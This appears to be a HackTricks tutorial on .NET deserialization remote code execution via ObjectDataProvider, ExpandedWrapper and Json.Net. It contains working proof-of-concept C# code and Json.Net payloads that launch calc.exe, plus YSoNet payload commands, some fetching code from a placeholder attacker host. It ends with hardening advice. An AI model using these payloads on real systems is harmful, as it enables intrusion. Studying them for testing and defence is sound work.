Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Reading time: 9 minutes
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
This post is dedicated to understand how the gadget ObjectDataProvider is exploited to obtain RCE and how the Serialization libraries Json.Net and xmlSerializer can be abused with that gadget.
ObjectDataProvider Gadget
From the documentation: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Yeah, it's a weird explanation, so lets see what does this class have that is so interesting: This class allows to wrap an arbitrary object, use MethodParameters to set arbitrary parameters, and then use MethodName to call an arbitrary function of the arbitrary object declared using the arbitrary parameters.
Therefore, the arbitrary object will execute a function with parameters while being deserialized.
How is this possible
The System.Windows.Data namespace, found within the PresentationFramework.dll at C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
, is where the ObjectDataProvider is defined and implemented.
Using dnSpy you can inspect the code of the class we are interested in. In the image below we are seeing the code of PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name
As you can observe when MethodName
is set base.Refresh()
is called, lets take a look to what does it do:
Ok, lets continue seeing what does this.BeginQuery()
does. BeginQuery
is overridden by ObjectDataProvider
and this is what it does:
Note that at the end of the code it's calling this.QueryWorke(null)
. Let's see what does that execute:
Note that this isn't the complete code of the function QueryWorker
but it shows the interesting part of it: The code calls this.InvokeMethodOnInstance(out ex);
this is the line where the method set is invoked.
If you want to check that just setting the MethodName** it will be executed**, you can run this code:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Note that you need to add as reference C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll in order to load System.Windows.Data
ExpandedWrapper
Using the previous exploit there will be cases where the object is going to be deserialized as an ObjectDataProvider instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using GetType
). Then, will have no knowledge of the object type that is wrapped in the ObjectDataProvider instance (Process
for example). You can find more information about the DotNetNuke vuln here.
This class allows to specify the object types of the objects that are encapsulated in a given instance. So, this class can be used to encapsulate a source object (ObjectDataProvider) into a new object type and provide the properties we need (ObjectDataProvider.MethodName and ObjectDataProvider.MethodParameters).
This is very useful for cases as the one presented before, because we will be able to wrap _ObjectDataProvider** inside an **ExpandedWrapper _ instance and when deserialized this class will create the OjectDataProvider object that will execute the function indicated in MethodName.
You can check this wrapper with the following code:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
In the official web page it is indicated that this library allows to Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer. So, if we could deserialize the ObjectDataProvider gadget, we could cause a RCE just deserializing an object.
Json.Net example
First of all lets see an example on how to serialize/deserialize an object using this library:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Abusing Json.Net
Using ysoserial.net I crated the exploit:
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
In this code you can test the exploit, just run it and you will see that a calc is executed:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
The ObjectDataProvider + ExpandedWrapper technique introduced above is only one of MANY gadget chains that can be abused when an application performs unsafe .NET deserialization. Modern red-team tooling such as YSoNet (and the older ysoserial.net) automate the creation of ready-to-use malicious object graphs for dozens of gadgets and serialization formats.
Below is a condensed reference of the most useful chains shipped with YSoNet together with a quick explanation of how they work and example commands to generate the payloads.
Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
---|---|---|---|
TypeConfuseDelegate | Corrupts the DelegateSerializationHolder record so that, once materialised, the delegate points to any attacker supplied method (e.g. Process.Start ) | BinaryFormatter , SoapFormatter , NetDataContractSerializer | ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin |
ActivitySurrogateSelector | Abuses System.Workflow.ComponentModel.ActivitySurrogateSelector to bypass .NET ≥4.8 type-filtering and directly invoke the constructor of a provided class or compile a C# file on the fly | BinaryFormatter , NetDataContractSerializer , LosFormatter | ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat |
DataSetOldBehaviour | Leverages the legacy XML representation of System.Data.DataSet to instantiate arbitrary types by filling the <ColumnMapping> / <DataType> fields (optionally faking the assembly with --spoofedAssembly ) | LosFormatter , BinaryFormatter , XmlSerializer | ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml |
GetterCompilerResults | On WPF-enabled runtimes (> .NET 5) chains property getters until reaching System.CodeDom.Compiler.CompilerResults , then compiles or loads a DLL supplied with -c | Json.NET typeless, MessagePack typeless | ysonet.exe GetterCompilerResults -c Loader.dll > payload.json |
ObjectDataProvider (review) | Uses WPF System.Windows.Data.ObjectDataProvider to call an arbitrary static method with controlled arguments. YSoNet adds a convenient --xamlurl variant to host the malicious XAML remotely | BinaryFormatter , Json.NET , XAML , etc. | ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml |
PSObject (CVE-2017-8565) | Embeds ScriptBlock into System.Management.Automation.PSObject that executes when PowerShell deserialises the object | PowerShell remoting, BinaryFormatter | ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin |
tip
All payloads are written to stdout by default, making it trivial to pipe them into other tooling (e.g. ViewState generators, base64 encoders, HTTP clients).
Building / Installing YSoNet
If no pre-compiled binaries are available under Actions ➜ Artifacts / Releases, the following PowerShell one-liner will set up a build environment, clone the repository and compile everything in Release mode:
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
The compiled ysonet.exe
can then be found under ysonet/bin/Release/
.
Detection & Hardening
- Detect unexpected child processes of
w3wp.exe
,PowerShell.exe
, or any process deserialising user-supplied data (e.g.MessagePack
,Json.NET
). - Enable and enforce type-filtering (
TypeFilterLevel
= Full, customSurrogateSelector
,SerializationBinder
, etc.) whenever the legacyBinaryFormatter
/NetDataContractSerializer
cannot be removed. - Where possible migrate to
System.Text.Json
orDataContractJsonSerializer
with whitelist-based converters. - Block dangerous WPF assemblies (
PresentationFramework
,System.Workflow.*
) from being loaded in web processes that should never need them.
References
- YSoNet – .NET Deserialization Payload Generator
- ysoserial.net – original PoC tool
- Microsoft – CVE-2017-8565
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.